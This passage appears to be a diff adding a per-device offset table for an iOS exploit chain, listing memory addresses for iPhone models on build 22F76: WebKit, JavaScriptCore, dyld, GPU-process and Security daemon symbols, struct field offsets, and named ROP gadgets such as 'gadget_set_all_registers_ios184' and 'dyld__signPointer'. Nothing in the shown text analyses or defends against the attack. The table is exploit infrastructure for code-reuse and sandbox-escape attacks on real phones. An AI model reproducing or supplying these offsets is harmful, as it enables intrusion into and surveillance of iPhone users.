+ m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9700n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone12,3_5_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadecd8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade7c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade720n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade770n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddb68n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb888n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be1f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9bdea0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bdea8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bdeb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bddf0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bdeb8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257c8fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e458n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda626b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b1f8n, + WebCore__initPKContact_value: 0x1eda6b200n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda699c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda699b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda699a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f600n, + __pthread_head: 0x269104020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4fd0n, + gadget_control_1_ios184: 0x23f2c42ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f256150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d23dda8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfb616cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ac7820n, + libGPUCompilerImplLazy__invoker: 0x23d0697e8n, + libGPUCompilerImplLazy_cstring: 0x23c1b3870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca498n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d28c000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9700n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone12,8_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadea98n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade580n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade4e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade530n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edadd928n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ada98n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb648n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9bdfb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9bdc60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bdc68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bdc70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bdbb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bdc78n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257b97e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e218n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62478n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6afb8n, + WebCore__initPKContact_value: 0x1eda6afc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69780n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69778n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69760n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f3c0n, + __pthread_head: 0x26903c020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4d90n, + gadget_control_1_ios184: 0x23f1d42ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f24a150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d231da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfaa16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218abb820n, + libGPUCompilerImplLazy__invoker: 0x23cf797e8n, + libGPUCompilerImplLazy_cstring: 0x23c0c3870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca258n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d280000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c94c0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone13,1_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf0d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadebc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadeb20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadeb70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddf68n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebc88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be5f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be2a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be2a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be2b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be1f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be2b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257e7fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e858n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62ab8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b5f8n, + WebCore__initPKContact_value: 0x1eda6b600n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69dc0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69db8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69da0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fa00n, + __pthread_head: 0x269374020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a53d0n, + gadget_control_1_ios184: 0x23f0fe2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f26d150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d241da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfba16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acb820n, + libGPUCompilerImplLazy__invoker: 0x23cea37e8n, + libGPUCompilerImplLazy_cstring: 0x23bfed870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca898n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d290000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9b00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone13,2_3_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf1d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadecc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadec20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadec70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade068n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebd88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be6f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be3a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be3a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be3b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be2f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be3b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257fdfe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e958n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62bb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b6f8n, + WebCore__initPKContact_value: 0x1eda6b700n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69ec0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69eb8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69ea0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fb00n, + __pthread_head: 0x269d8c020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a54d0n, + gadget_control_1_ios184: 0x23f1022ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f271150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d245da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfbe16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acf820n, + libGPUCompilerImplLazy__invoker: 0x23cea77e8n, + libGPUCompilerImplLazy_cstring: 0x23bff1870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca998n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d294000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9c00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone13,4_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf1d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadecc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadec20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadec70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade068n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebd88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be6f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be3a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be3a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be3b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be2f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be3b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257fdfe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e958n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62bb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b6f8n, + WebCore__initPKContact_value: 0x1eda6b700n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69ec0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69eb8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69ea0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fb00n, + __pthread_head: 0x269d8c020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a54d0n, + gadget_control_1_ios184: 0x23f1022ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f271150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d245da8n, + 